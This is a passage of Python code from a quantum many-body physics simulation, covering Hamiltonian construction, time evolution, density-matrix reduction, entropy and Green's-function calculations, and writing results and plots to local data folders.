'dmstepsize') self.dmFilesFPS = configParser.getint('plotvals', 'dmfps') self.plotFontSize = configParser.getint('plotvals', 'fontsize') self.plotLegendSize = configParser.getint('plotvals', 'legendsize') self.plotSavgolFrame = configParser.getint('plotvals', 'avg_frame') self.plotSavgolOrder = configParser.getint('plotvals', 'avg_order') self.plotLoAvgPerc = configParser.getfloat('plotvals', 'loavgperc') / 100.0 # normally some coefficient in the hamiltonian (J or t) self.plotTimeScale = configParser.getfloat('plotvals', 'timescale') self.evolStepDist = int(self.steps / self.dataPoints) if self.evolStepDist < 100: self.steps = 100 * self.dataPoints self.evolStepDist = 100 print( 'Number of steps must be at least factor 100 larger than datapoints! New number of steps: %e' % self.steps) self.dmFiles = self.dataPoints / self.dmFilesSkipFactor if self.dataPoints > self.steps: self.dataPoints = self.steps / 100 print( 'Number of data points was larger than number of steps - think again! Fixed the number of data points to be: %e' % self.dataPoints) ###### Methods: def updateDensityMatrix(self): if self.densityMatrixInd == False: # there might be a memory reallocation error with np.outer... however, initialization is always nice self.densityMatrix = np.zeros((self.dim, self.dim), dtype=self.datType) self.densMatrixInd = True self.densityMatrix = np.outer(self.state, self.state.conj()) # end of updateDensityMatrix def initIteratorRed(self): el1 = np.zeros((self.m), dtype=np.int) el2 = np.zeros((self.m), dtype=np.int) for i in reversed(range(0, self.N + 1)): for j in range(self.offsetsRed[i], self.offsetsRed[i - 1]): for jj in range(j, self.offsetsRed[i - 1]): for k in range(self.offsetsRedComp[self.N - i], self.offsetsRedComp[self.N - i - 1]): el1[self.mask] = self.basisRed[j] el1[~self.mask] = self.basisRedComp[k] el2[self.mask] = self.basisRed[jj] el2[~self.mask] = self.basisRedComp[k] self.iteratorRed = np.append(self.iteratorRed, [[j, jj, self.basisDict[tuple(el1)], self.basisDict[tuple(el2)]]], axis=0) # end of initTest def reduceDensityMatrix(self): if self.densityMatrixRed is None: return self.densityMatrixRed.fill(0) for el in self.iteratorRed: self.densityMatrixRed[el[0], el[1]] += self.densityMatrix[el[2], el[3]] if el[0] != el[1]: self.densityMatrixRed[el[1], el[0]] += self.densityMatrix[el[3], el[2]] def reduceDensityMatrixFromState(self): if self.densityMatrixRed is None: return self.densityMatrixRed.fill(0) for el in self.iteratorRed: self.densityMatrixRed[el[0], el[1]] += self.state[el[2]] * self.state[el[3]].conj() if el[0] != el[1]: self.densityMatrixRed[el[1], el[0]] += self.state[el[3]] * self.state[el[2]].conj() # end of reduceDensityMatrixFromState def reduceMatrix(self, matrx): tmpret = np.zeros((self.dimRed, self.dimRed)) for el in self.iteratorRed: tmpret[el[0], el[1]] += matrx[el[2], el[3]] if el[0] != el[1]: tmpret[el[1], el[0]] += matrx[el[3], el[2]] return tmpret # hamiltonian with equal index interaction different to non equal index interaction def initHamiltonian(self): for i in range(0, self.m): for j in range(0, self.m): if i != j: self.hamiltonian += self.hybrid * self.operators[i, j] else: self.hamiltonian += (i) * (self.onsite) * self.operators[i, j] if self.interequal != 0 and self.interdiff != 0: tmp = np.matrix(np.zeros((self.dim, self.dim))) for i in range(0, self.m): for j in range(0, self.m): for k in range(0, self.m): for l in range(0, self.m): tmp = getQuartic(self, i, j, k, l) if i == j and k == l and k == j: self.hamiltonian += (self.interequal) * tmp else: self.hamiltonian += (self.interdiff) * tmp del tmp def initSpecLoHamiltonian(self): tmpspecops = quadraticArraySpecLo(self) for i in range(0, self.m): for j in range(0, self.m): if i != j: self.specLoHamiltonian += self.hybrid * tmpspecops[i, j] else: self.specLoHamiltonian += (i) * (self.onsite) * tmpspecops[i, j] if self.interequal != 0 and self.interdiff != 0: tmp = np.matrix(np.zeros((self.specLoDim, self.specLoDim))) for i in range(0, self.m): for j in range(0, self.m): for k in range(0, self.m): for l in range(0, self.m): tmp = getQuarticSpec(tmpspecops, i, j, k, l) if i == j and k == l and k == j: self.specLoHamiltonian += (self.interequal) * tmp else: self.specLoHamiltonian += (self.interdiff) * tmp del tmp del tmpspecops def initSpecHiHamiltonian(self): tmpspecops = quadraticArraySpecHi(self) for i in range(0, self.m): for j in range(0, self.m): if i != j: self.specHiHamiltonian += self.hybrid * tmpspecops[i, j] else: self.specHiHamiltonian += (i) * (self.onsite) * tmpspecops[i, j] if self.interequal != 0 and self.interdiff != 0: tmp = np.matrix(np.zeros((self.specHiDim, self.specHiDim))) for i in range(0, self.m): for j in range(0, self.m): for k in range(0, self.m): for l in range(0, self.m): tmp = getQuarticSpec(tmpspecops, i, j, k, l) if i == j and k == l and k == j: self.specHiHamiltonian += (self.interequal) * tmp else: self.specHiHamiltonian += (self.interdiff) * tmp del tmp del tmpspecops # The matrix already inherits the identity so step is just mutliplication # time evolution order given by order of the exponential series def initEvolutionMatrix(self, diagonalize=True): if self.order == 0: print('Warning - Time evolution of order 0 means no dynamics...') if (not np.allclose(self.hamiltonian.toarray(), self.hamiltonian.toarray().T.conjugate())): print('Warning - hamiltonian is not hermitian!') self.evolutionMatrix = spidentity(self.dim, dtype=self.datType, format='csr') for i in range(1, self.order + 1): self.evolutionMatrix += ((-1j) ** i) * (self.deltaT ** i) * (self.hamiltonian ** i) / factorial(i) self.evolutionMatrix = self.evolutionMatrix.toarray() if self.boolHamilStore: storeMatrix(self.hamiltonian.toarray(), './data/hamiltonian.txt', 1) storeMatrix(self.evolutionMatrix, './data/evolutionmatrix.txt', 1) self.evolutionMatrix = npmatrix_power(self.evolutionMatrix, self.evolStepDist) # Store hamiltonian eigenvalues if diagonalize: self.updateEigenenergies() # end # The matrix already inherits the identity so step is just mutliplication # time evolution order given by order of the exponential series # this one will be only in sparse container since it is meant for sparse matrix mult. #### IMPORTANT NOTE - complex conjugate will be needed for Green function #### #### FURTHER: need only 2*delta_T for green function, so added sq=True #### #### ALSO: delta_T here is actually the delta_T of time-steps, so the wide steps!!! #### def initSpecLoEvolutionMatrix(self, diagonalize=False, conj=True, sq=True): if self.loOrder == 0: print('Warning - Time evolution of order 0 means no dynamics...') if (not np.allclose(self.specLoHamiltonian.toarray(), self.specLoHamiltonian.toarray().T.conj())): print('Warning - hamiltonian is not hermitian!') self.specLoEvolutionMatrix = spidentity(self.specLoDim, dtype=self.datType, format='csr') if conj: pre = (1j) else: pre = (-1j) for i in range(1, self.loOrder + 1): self.specLoEvolutionMatrix += (pre ** i) * (self.deltaT ** i) * (self.specLoHamiltonian ** i) / factorial(i) if diagonalize: self.updateLoEigenenergies() # bring it to the same timestep distance as the state vector self.specLoEvolutionMatrix = self.specLoEvolutionMatrix.toarray() self.specLoEvolutionMatrix = npmatrix_power(self.specLoEvolutionMatrix, self.evolStepDist) if sq: self.specLoEvolutionMatrix = npmatrix_power(self.specLoEvolutionMatrix, 2) # end # The matrix already inherits the identity so step is just mutliplication # time evolution order given by order of the exponential series # this one will be only in sparse container since it is meant for sparse matrix mult. def initSpecHiEvolutionMatrix(self, diagonalize=False, conj=False, sq=True): if self.hiOrder == 0: print('Warning - Time evolution of order 0 means no dynamics...') if (not np.allclose(self.specHiHamiltonian.toarray(), self.specHiHamiltonian.toarray().T.conj())): print('Warning - hamiltonian is not hermitian!') self.specHiEvolutionMatrix = spidentity(self.specHiDim, dtype=self.datType, format='csr') if conj: pre = (1j) else: pre = (-1j) for i in range(1, self.hiOrder + 1): self.specHiEvolutionMatrix += (pre ** i) * (self.deltaT ** i) * (self.specHiHamiltonian ** i) / factorial(i) if diagonalize: self.updateHiEigenenergies() self.specHiEvolutionMatrix = self.specHiEvolutionMatrix.toarray() self.specHiEvolutionMatrix = npmatrix_power(self.specHiEvolutionMatrix, self.evolStepDist) if sq: self.specHiEvolutionMatrix = npmatrix_power(self.specHiEvolutionMatrix, 2) # end def timeStep(self): self.state = self.evolutionMatrix.dot(self.state) # end of timeStep def greenStoreState(self): self.stateSaves.append(self.state) self.timeSaves.append(self.evolTime) # approximate distributions in energy space - all parameters have to be set! # if skip is set to negative, the absolute value gives probability for finding a True in binomial def stateEnergy(self, muperc=[50], sigma=[1], phase=['none'], skip=[0], dist=['std'], peakamps=[1], skew=[0]): if self.eigInd == False: self.updateEigenenergies() self.state.fill(0) for i in range(0, len(muperc)): if dist[i] == 'std': dind = 1 elif dist[i] == 'rect': dind = 2 elif dist[i] == 'rnd': dind = 3 tmpdist = np.random.rand(self.dim) else: dind = 1 if phase[i] == 'none': phaseArray = np.zeros(self.dim) elif phase[i] == 'alt': phaseArray = np.zeros(self.dim) phaseArray[::2] = np.pi elif phase[i] == 'rnd': phaseArray = np.random.rand(self.dim) * 2 * np.pi elif phase[i] == 'rndreal': phaseArray = np.random.binomial(1, 0.5, self.dim) * np.pi else: phaseArray = np.zeros(self.dim) if skip[i] < 0: skipArray = np.random.binomial(1, -1 * skip[i], self.dim) elif skip[i] == 0: skipArray = np.zeros(self.dim) skipArray[::1] = 1 else: skipArray = np.zeros(self.dim) skipArray[::int(skip[i])] = 1 # mu is given in percent so get mu in energy space - also offsets are taken into account mu = self.eigVals[0] + (muperc[i] / 100) * (self.eigVals[-1] - self.eigVals[0]) for k in range(0, self.dim): if skipArray[k]: if dind == 1: self.state += peakamps[i] * np.exp(1j * phaseArray[k]) * gaussian(self.eigVals[k], mu, sigma[i], norm=True, skw=skew[i]) * self.eigVects[:, k] elif dind == 2: self.state += peakamps[i] * np.exp(1j * phaseArray[k]) * rect(self.eigVals[k], mu, sigma[i], norm=False) * self.eigVects[:, k] elif dind == 3: self.state[k] += peakamps[i] * np.exp(1j * phaseArray[k]) * tmpdist[k] del phaseArray del skipArray self.normalize(True) ### This one is tailored for taking exactly one energy as the weight # approximate distributions in energy space - all parameters have to be set! # if skip is set to negative, the absolute value gives probability for finding a True in binomial def stateEnergyMicrocan(self, avgen=0, sigma=1, phase='none', skip=0, dist='rect', peakamps=1, skew=0): if self.eigInd == False: self.updateEigenenergies() self.state.fill(0) if dist == 'std': dind = 1 elif dist == 'rect': dind = 2 elif dist == 'rnd': dind = 3 tmpdist = np.random.rand(self.dim) else: dind = 1 if phase == 'none': phaseArray = np.zeros(self.dim) elif phase == 'alt': phaseArray = np.zeros(self.dim) phaseArray[::2] = np.pi elif phase == 'rnd': phaseArray = np.random.rand(self.dim) * 2 * np.pi elif phase == 'rndreal': phaseArray = np.random.binomial(1, 0.5, self.dim) * np.pi else: phaseArray = np.zeros(self.dim) if skip < 0: skipArray = np.random.binomial(1, -1 * skip, self.dim) elif skip == 0: skipArray = np.zeros(self.dim) skipArray[::1] = 1 else: skipArray = np.zeros(self.dim) skipArray[::int(skip)] = 1 for k in range(0, self.dim): if skipArray[k]: if dind == 1: self.state[:] += peakamps * np.exp(1j * phaseArray[k]) * gaussian(self.eigVals[k], avgen, sigma, norm=True, skw=skew) * self.eigVects[:,k] elif dind == 2: self.state[:] += peakamps * np.exp(1j * phaseArray[k]) * rect(self.eigVals[k], avgen, sigma, norm=False) * self.eigVects[:, k] elif dind == 3: self.state[k] += peakamps * np.exp(1j * phaseArray[k]) * tmpdist[k] del phaseArray del skipArray self.normalize(True) def normalize(self, initial=False): # note that the shape of the state vector is (dim,1) for reasons of matrix multiplication in numpy self.stateNorm = la.norm(self.state) self.stateNormAbs *= self.stateNorm self.state /= self.stateNorm # do not store the new state norm - it is defined to be 1 so just store last norm value! # self.stateNorm = np.real(sqrt(npeinsum('ij,ij->j',self.state,np.conjugate(self.state))))[0] if bool(initial) == True: self.stateNormAbs = 1 self.updateEigendecomposition() # store starting states used for green function if np.abs(self.stateNormAbs) > self.stateNormCheck: if self.stateNormCheck == 1e1: print( '\n' + '### WARNING! ### state norm has been normalized by more than the factor 10 now!' + '\n' + 'Check corresponding plot if behavior is expected - indicator for numerical instability!' + '\n') self.stateNormCheck = 1e2 else: self.closeFiles() self.plot() exit('\n' + 'Exiting - state norm has been normalized by more than the factor 100, numerical error is very likely.') # end of normalize # note that - in principle - the expectation value can be complex! (though it shouldn't be) # this one explicitly uses the state vector - note that this also works with sparse matrices! def expectValue(self, operator): if operator.shape != (self.dim, self.dim): exit('Dimension of operator is', np.shape(operator), 'but', (self.dim, self.dim), 'is needed!') # return multi_dot([np.conjugate(np.array(self.state)[:,0]), operator, np.array(self.state)[:,0]]) return np.vdot(self.state, operator.dot(self.state)) # note that - in principle - the expectation value can be complex! (though it shouldn't be) def expectValueDM(self, operator): if operator.shape != (self.dim, self.dim): exit('Dimension of operator is', np.shape(operator), 'but', (self.dim, self.dim), 'is needed!') # will compute only the diagonal elements! return np.einsum('ij,ji->', self.densityMatrix, operator) def expectValueRed(self, operator): if operator.shape != (self.dimRed, self.dimRed): exit('Dimension of operator is' + str(np.shape(operator)) + 'but' + str( (self.dimRed, self.dimRed)) + 'is needed!') return np.trace(self.densityMatrixRed.dot(operator)) def updateEigenenergies(self): if not self.eigInd: self.eigVals, self.eigVects = la.eigh(self.hamiltonian.toarray()) self.eigInd = True def updateLoEigenenergies(self): if not self.specLoEigInd: self.specLoEigVals, self.specLoEigVects = la.eigh(self.specLoHamiltonian.toarray()) self.specLoEigInd = True def updateHiEigenenergies(self): if not self.specHiEigInd: self.specHiEigVals, self.specHiEigVects = la.eigh(self.specHiHamiltonian.toarray()) self.specHiEigInd = True ## will free the memory!!! def updateEigendecomposition(self, clear=True): if self.boolEngyStore: t0 = tm.time() self.updateEigenenergies() print("Hamiltonian diagonalized after " + time_elapsed(t0, 60, 0)) t0 = tm.time() # decomposition in energy space tfil = open('./data/hamiltonian_eigvals.txt', 'w') if self.boolDecompStore: tmpAbsSq = np.zeros(self.dim) tmp = np.zeros(self.dim) # generate all overlaps at once # note that conj() is optional since the vectors can be chosen to be real tmp = np.dot(self.eigVects.T.conj(), self.state) # also calculate all occupation numbers at once enoccs = np.zeros((self.m, self.dim)) for j in range(0, self.m): enoccs[j] = np.diag( np.dot(self.eigVects.T.conj(), self.operators[j,j].dot(self.eigVects)) ).real for i in range(0, self.dim): # absolute value of overlap tmpAbsSq[i] = np.abs(tmp[i]) ** 2 if tmpAbsSq[i] != 0: # if nonzero we want to have the angle in the complex plane in units of two pi tmpPhase = np.angle(tmp[i]) / (2 * np.pi) else: tmpPhase = 0 # occupation numbers of the eigenvalues tfil.write('%i %.16e %.16e %.16e ' % (i, self.eigVals[i], tmpAbsSq[i], tmpPhase)) for j in range(0, self.m): tfil.write('%.16e ' % (enoccs[j,i])) tfil.write('\n') else: for i in range(0, self.dim): tfil.write('%i %.16e\n' % (i, self.eigVals[i])) tfil.close() # decomposition in fock space sfil = open('./data/state.txt', 'w') for i in range(0, self.dim): tmpAbsSqFck = np.abs(self.state[i]) ** 2 if tmpAbsSqFck != 0: tmpPhase = np.angle(self.state[i]) / (2 * np.pi) # angle in complex plane in units of two pi else: tmpPhase = 0 # occupation numbers of the eigenvalues sfil.write('%i %.16e %.16e ' % (i, tmpAbsSqFck, tmpPhase)) for j in range(0, self.m): sfil.write('%i ' % self.basis[i, j]) sfil.write('\n') sfil.close() print("Eigendecomposition completed after " + time_elapsed(t0, 60, 0)) if self.boolDiagExpStore or self.boolOccEnStore or self.boolOffDiag: self.updateEigenenergies() eivectinv = la.inv(np.matrix(self.eigVects.T)) # expectation values in diagonal representation (ETH) if self.boolDiagExpStore or self.boolOffDiag: t0 = tm.time() # if the tmp array has already been calculated this step can be omitted - see top of this method if self.boolDecompStore: self.enState = tmp else: # generate all overlaps at once # note that conj() is optional since the vectors can be chosen to be real self.enState = np.dot(self.eigVects.T.conj(), self.state) if self.boolDiagExpStore: # diagonals in expectation value ethfil = open('./data/diagexpect.txt', 'w') for i in range(0, self.m): if self.boolOffDiag: # first store everything, later delete diagonal elements self.offDiagMat[i] = np.dot(self.eigVects.T, self.operators[i, i].dot(eivectinv)) tmpocc = np.dot(np.abs(self.enState)**2, np.diag(self.offDiagMat[i])).real else: tmpocc = multi_dot([self.enState.conj(), self.eigVects.T, self.operators[i, i].dot(eivectinv), self.enState]).real ethfil.write('%i %.16e \n' % (i, tmpocc)) print("Occupation matrices transformed " + time_elapsed(t0, 60, 1)) ethfil.close() # now store the diagonals in one file for comparison to the off diagonals later if self.boolOffDiag: diagfil = open('./data/diagsingles.txt', 'w') for i in range(0, self.m): #if the matrices have not yet been constructed - do this if not self.boolDiagExpStore: # first store everything, later delete diagonal elements self.offDiagMat[i] = np.dot(self.eigVects.T, self.operators[i, i].dot(eivectinv)) #now get the single off diagonals tmpdiag = np.einsum('l,ll,l -> l', self.enState.conj(), self.offDiagMat[i], self.enState, optimize=True).real for j in range(0, self.dim): diagfil.write('%i %.16e %.16e \n' % (i, self.eigVals[j], tmpdiag[j])) diagfil.close() # store the actual matrix to a file (might become very large!) if self.boolOccEnStore: for i in range(0, self.m): if self.boolOffDiag: # note that the off diag mat still contains the diagonals right now! storeMatrix(self.offDiagMat[i], './data/occ' + str(i) + '.txt', absOnly=0, stre=True, stim=False, stabs=False) else: storeMatrix(np.dot(self.eigVects.T, self.operators[i, i].dot(eivectinv)), './data/occ' + str(i) + '.txt', absOnly=0, stre=True, stim=False, stabs=False) print("Occupation number matrices stored after " + time_elapsed(t0, 60, 1)) # now we remove the diagonal elements if self.boolOffDiag: for i in range(0, self.m): np.fill_diagonal(self.offDiagMat[i], 0) if self.occEnSingle and self.boolOffDiag: t0 = tm.time() infofile = open('./data/offdiagsingleinfo.txt', 'w') if not (self.boolDiagExpStore or self.boolOffDiag): if self.boolDecompStore: self.enState = tmp else: # generate all overlaps at once # note that conj() is optional since the vectors can be chosen to be real self.enState = np.dot(self.eigVects.T.conj(), self.state) # props to Warren Weckesser https://stackoverflow.com/questions/20825990/find-multiple-maximum-values-in-a-2d-array-fast # Get the indices for the largest `num_largest` values. num_largest = self.occEnSingle for i in range(0, self.m): # this is not optimized but one has to store it as a matrix for correct searching tmpmat = np.einsum('l,lj,j -> lj', self.enState.conj(), self.offDiagMat[i], self.enState, optimize=True) #tmpmat = np.outer(self.enState.conj(), np.dot(self.offDiagMat[i], self.enState)) infofile.write('%i ' % (i)) # to use argpartition correctly we must treat the matrix as an array indices = tmpmat.argpartition(tmpmat.size - num_largest, axis=None)[-num_largest:] self.occEnInds[i, 0], self.occEnInds[i, 1] = np.unravel_index(indices, tmpmat.shape) for j in range(0, self.occEnSingle): infofile.write('%i %i %.16e %16e ' % ( self.occEnInds[i, 0, j], self.occEnInds[i, 1, j], self.eigVals[self.occEnInds[i, 0, j]].real, self.eigVals[self.occEnInds[i, 1, j]].real)) infofile.write('\n') infofile.close() print("Largest elements found and infos stored after " + time_elapsed(t0, 60, 1)) del tmpmat # not sure if this is neccessary but do it regardless... if clear: # free the memory del self.eigVals if not self.boolOffDiag: del self.eigVects self.eigVects = [] self.eigVals = [] self.eigInd = False def updateOffDiag(self): # calculate all overlaps at once self.enState = np.dot(self.eigVects.T, self.state) for i in range(0, self.m): self.offDiag[i] = np.vdot(self.enState, self.offDiagMat[i].dot(self.enState)) # check for imaginary part -> would give an indication for errors if self.offDiag[i].imag > 1e-6: print('The offdiagonal expectation value has an imaginary part of ', self.offDiag[i].imag) if self.occEnSingle: for i in range(0, self.m): for j in range(0, self.occEnSingle): x = int(self.occEnInds[i, 0, j]) y = int(self.occEnInds[i, 1, j]) self.offDiagSingles[i, j] = self.enState[x].conj() * self.offDiagMat[i][x, y] * self.enState[y] def updateOffDiagDens(self): self.offDiagDens = (multi_dot([np.ones(self.dimRed), self.densityMatrixRed, np.ones(self.dimRed)]) - np.trace(self.densityMatrixRed)).real def updateEntropy(self): self.entropy = 0 for el in la.eigvalsh(self.densityMatrix, check_finite=False): if el.real > 0: self.entropy -= el.real * nplog(el.real) if el.real < -1e-7: print('Oh god, there is a negative eigenvalue smaller than 1e-7 ! Namely:', el) # end of updateEntropy def updateEntropyRed(self): if self.densityMatrixRed is None: return self.entropyRed = 0 for el in la.eigvalsh(self.densityMatrixRed, check_finite=False): if el.real > 0: self.entropyRed -= el.real * nplog(el.real) if el.real < -1e-7: print('Oh god, there is a negative eigenvalue smaller than 1e-7 ! Namely:', el) # end of updateEntropyRed def updateOccNumbers(self): for m in range(0, self.m): self.occNo[m] = (self.expectValue(self.operators[m, m])).real # end of updateOccNumbers def updateEnergy(self): self.energy = (self.expectValue(self.hamiltonian)).real # end of updateEnergy def evaluateGreen(self): # use dots for multithread! self.filGreen = open('./data/green.txt', 'w') # t, re, im tmpHiEvol = np.identity(self.specHiDim, dtype=self.datType) tmpLoEvol = np.identity(self.specLoDim, dtype=self.datType) tmpGreen = np.complex128(0) saves = len(self.timeSaves) bound = int((saves - 1) / 2) dt = self.timeSaves[1] # handle the i=0 case => equal time greens function is always -i: self.filGreen.write('%.16e ' % (0)) for ind in range(0, self.m): self.filGreen.write('%.16e %.16e ' % (0, -1)) ''' #raising is the higher dimension creation operator, raising.T.c the annihilation tmpGreen = (self.stateSaves[bound].T.conjugate() * (self.specRaising[ind].T * tmpHiEvol * self.specRaising[ind]) * self.stateSaves[bound])[0,0] #lowering is the lower dimension annihilation operator, raising.T.c the creation tmpGreen -= (self.stateSaves[bound].T.conjugate() * (self.specLowering[ind].T * tmpLoEvol * self.specLowering[ind]) * self.stateSaves[bound])[0,0] tmpGreen = np.dot(self.stateSaves[bound].T.conjugate() , self.stateSaves[bound])[0,0] - (self.stateSaves[bound].T.conjugate() @ self.stateSaves[bound])[0,0] #tmpGreen = np.real(np.sqrt(npeinsum('ij,ij->j', self.stateSaves[bound], np.conjugate(self.stateSaves[bound])),dtype=np.complex128))[0] print(tmpGreen) print(type(self.stateSaves[bound])) ''' self.filGreen.write(' \n') for i in range(1, bound + 1): tmpHiEvol = np.dot(tmpHiEvol, self.specHiEvolutionMatrix) ## they need to be the squared ones! tmpLoEvol = np.dot(tmpLoEvol, self.specLoEvolutionMatrix) ## they need to be the squared ones! self.filGreen.write('%.16e ' % (2 * dt * i)) for m in range(0, self.m): # raising is the higher dimension creation operator, raising.T.c the annihilation tmpGreen = multi_dot( [self.stateSaves[bound + i].T.conjugate(), self.specRaising[m].T.dot(tmpHiEvol), self.specRaising[m].dot(self.stateSaves[bound - i])]) # lowering is the lower dimension annihilation operator, raising.T.c the creation tmpGreen -= multi_dot( [self.stateSaves[bound - i].T.conjugate(), self.specLowering[m].T.dot(tmpLoEvol), self.specLowering[m].dot(self.stateSaves[bound + i])]) # note that the greensfunction is multiplied by -i, which is included in the writing below! # first number is real part, second imaginary self.filGreen.write('%.16e %.16e ' % (tmpGreen.imag, -1 * tmpGreen.real)) self.filGreen.write(' \n') self.filGreen.close() ''' for i in range(0,self.m): self.green[i] = -1j * (np.einsum('ij,ij -> j', self.state.T.conjugate(), (self.specRaising[i] * self.initStateHiKet[i]))[0] - np.einsum('ij,ij -> j',self.initStateLoBra[i], (self.specLowering[i] * self.state))[0]) ''' # update everything EXCEPT for total entropy and energy - they are only updated 100 times def updateEverything(self): self.evolTime += (self.evolStep - self.evolStepTmp) * self.deltaT self.evolStepTmp = self.evolStep self.normalize() if self.boolOnlyRed: self.reduceDensityMatrixFromState() else: self.updateDensityMatrix() self.reduceDensityMatrix() self.updateOccNumbers() if self.boolOffDiag: self.updateOffDiag() if self.boolOffDiagDens: self.updateOffDiagDens() self.updateEntropyRed() ###### the magic of time evolution def evolve(self): # check if state has been normalized yet (or initialized) if self.stateNormAbs == 0: self.normalize(True) if self.boolDataStore: self.openFiles() self.evolStepTmp = self.evolStep stepNo = int(self.dataPoints / 100) dmFileFactor = self.dmFilesSkipFactor t0 = t1 = tm.time() # time before iteration self.tavg = 0 # needed for estimation of remaining time print('Time evolution\n' + ' 0% ', end='') self.filProg = open('./data/progress.log', 'a') self.filProg.write('Time evolution\n' + ' 0% ') self.filProg.close() # percent loop for i in range(1, 11): # decimal loop for ii in range(1, 11): # need only dataPoints steps of size evolStepDist for j in range(0, stepNo): if self.boolDataStore: self.updateEverything() self.writeData() if self.boolRetgreen: self.greenStoreState() # ## Time Step! self.timeStep() self.evolStep += self.evolStepDist ######### TMP TMP TMP ######### # store states for the greens function - temporarily only 100 times # if self.boolRetgreen: # self.greenStoreState() # calculate total entropy and energy only 100 times, it is time consuming and only a check if self.boolTotalEnt: self.updateEntropy() self.filTotEnt.write('%.16e %.16e \n' % (self.evolTime, self.entropy)) if self.boolTotalEnergy: self.updateEnergy() self.filEnergy.write('%.16e %.16e \n' % (self.evolTime, self.energy)) print('.', end='', flush=True) if self.dim > 1e3 or self.steps > 1e7: self.filProg = open('./data/progress.log', 'a') self.filProg.write('.') self.filProg.close() self.tavg *= int(self.evolStep - self.steps / 10) # calculate from time/step back to unit: time self.tavg += tm.time() - t1 # add passed time self.tavg /= self.evolStep # average over total number of steps t1 = tm.time() print(' 1-norm: ' + str(np.round(1 - self.stateNormAbs, 2)) + ' elapsed: ' + time_elapsed(t0, 60, 0) + " ###### eta: " + str( int(self.tavg * (self.steps - self.evolStep) / 60)) + "m " + str( int(self.tavg * (self.steps - self.evolStep) % 60)) + "s", "\n" + str(i * 10) + "% ", end='') self.filProg = open('./data/progress.log', 'a') self.filProg.write( ' 1-norm: ' + str(1 - np.round(self.stateNormAbs, 2)) + ' elapsed ' + time_elapsed(t0, 60, 0) + " ###### eta: " + str( int(self.tavg * (self.steps - self.evolStep) / 60)) + "m " + str( int(self.tavg * (self.steps - self.evolStep) % 60)) + "s" + "\n" + str(i * 10) + "% ") self.filProg.close() # so we have datapoints+1 points! if self.boolDataStore: self.updateEverything() self.writeData() if self.boolRetgreen: self.greenStoreState() print('\n' + 'Time evolution finished after', time_elapsed(t0, 60), 'with average time/step of', "%.4e" % self.tavg) if self.boolDataStore: self.closeFiles() # end def writeData(self): if self.boolDMStore or self.boolDMRedStore: if self.dmFileFactor == self.dmFilesSkipFactor or self.dmFileFactor == 0: self.dmFileFactor = 1 if not self.boolOnlyRed: if self.boolDMStore: storeMatrix(self.densityMatrix, './data/density/densmat' + str(int(self.dmcount)) + '.txt') if self.boolDMRedStore: storeMatrix(self.densityMatrixRed, './data/red_density/densmat' + str(int(self.dmcount)) + '.txt') self.dmcount += 1 else: self.dmFileFactor += 1 if self.boolOffDiag: self.filOffDiag.write('%.16e ' % (self.evolTime)) for i in range(0, self.m): self.filOffDiag.write('%.16e ' % (self.offDiag[i].real)) self.filOffDiag.write('\n') if self.occEnSingle: self.filOffSingles.write('%.16e ' % (self.evolTime)) for i in range(0, self.m): for j in range(0, self.occEnSingle): self.filOffSingles.write( '%.16e %.16e ' % (self.offDiagSingles[i, j].real, self.offDiagSingles[i, j].imag)) self.filOffSingles.write('\n') self.filEnt.write('%.16e %.16e \n' % (self.evolTime, self.entropyRed)) self.filNorm.write('%.16e %.16e %.16e \n' % (self.evolTime, self.stateNorm, self.stateNormAbs)) self.filOcc.write('%.16e ' % self.evolTime) for m in range(0, self.m): self.filOcc.write('%.16e ' % self.occNo[m]) self.filOcc.write('\n') if self.boolOffDiagDens: self.filOffDiagDens.write('%.16e %.16e \n' % (self.evolTime, self.offDiagDens)) def openFiles(self): self.filEnt = open('./data/entropy.txt', 'w') self.filNorm = open('./data/norm.txt', 'w') self.filOcc = open('./data/occupation.txt', 'w') if self.boolTotalEnt: self.filTotEnt = open('./data/total_entropy.txt', 'w') if self.boolTotalEnergy: self.filEnergy = open('./data/energy.txt', 'w') self.filProg = open('./data/progress.log', 'w') if self.boolOffDiag: self.filOffDiag = open('./data/offdiagonal.txt', 'w') if self.occEnSingle: self.filOffSingles = open('./data/offdiagsingle.txt', 'w') if self.boolOffDiagDens: self.filOffDiagDens = open('./data/offdiagonaldens.txt', 'w') self.filProg.close() # close all files def closeFiles(self): self.filEnt.close() self.filNorm.close() self.filOcc.close() if self.boolTotalEnt: self.filTotEnt.close() if self.boolTotalEnergy: self.filEnergy.close() if self.boolOffDiag: self.filOffDiag.close() if self.occEnSingle: self.filOffSingles.close() if self.boolOffDiagDens: self.filOffDiagDens.close() def plotDMAnimation(self, stepSize): ep.plotDensityMatrixAnimation(self.steps, self.deltaT, self.dmFiles, stepSize, framerate=self.dmFilesFPS) # end of plotDMAnimation def plotDMRedAnimation(self, stepSize): ep.plotDensityMatrixAnimation(self.steps, self.deltaT, self.dmFiles, stepSize, 1, framerate=self.dmFilesFPS) # end of plotDMAnimation def plotData(self): ep.plotData(self) # end of plotData def plotHamiltonian(self): ep.plotHamiltonian() # end of plotHamiltonian def plotOccEnbasis(self): ep.plotOccs(self) def plotOffDiagSingles(self): ep.plotOffDiagSingles(self) def plotTimescale(self): ep.plotTimescale(self) def plot(self): if self.boolPlotData: self.plotData() if self.boolPlotHamiltonian: self.plotHamiltonian() if self.boolPlotDMAnimation: self.plotDMAnimation(self.dmFilesStepSize) if self.boolPlotDMRedAnimation: self.plotDMRedAnimation(self.dmFilesStepSize) if self.boolPlotOccEn: self.plotOccEnbasis() if self.boolPlotTimescale: self.plotTimescale() if self.boolPlotOffDiagSingles: self.plotOffDiagSingles() if self.boolClear: prepFolders(True) def clearDensityData(self): prepFolders(True) def prepFolders(clearbool=0): # create the needed folders if not os.path.exists("./data/"): os.mkdir("./data/") print("Creating ./data Folder since it didn't exist") if not os.path.exists("./data/density/"): os.mkdir("./data/density/") print("Creating ./data/density Folder since it didn't exist") if not os.path.exists("./data/red_density/"): os.mkdir("./data/red_density/") print("Creating ./data/red_density Folder since it didn't exist") if not os.path.exists("./data/spectral/"): os.mkdir("./data/spectral/") print("Creating ./data/spectral Folder since it didn't exist") if not os.path.exists("./plots/"): os.mkdir("./plots/") print("Creating ./plts Folder since it didn't exist") # remove the old stuff if clearbool: if os.path.isfile("./data/density/densmat0.txt") == True: for root, dirs, files in os.walk('./data/density/', topdown=False): for name in files: os.remove(os.path.join(root, name)) print("Cleared density folder") if os.path.isfile("./data/red_density/densmat0.txt") == True: for root, dirs, files in os.walk('./data/red_density/', topdown=False): for name in files: os.remove(os.path.join(root, name)) print("Cleared reduced density folder") # calculate the number of Coefficients def 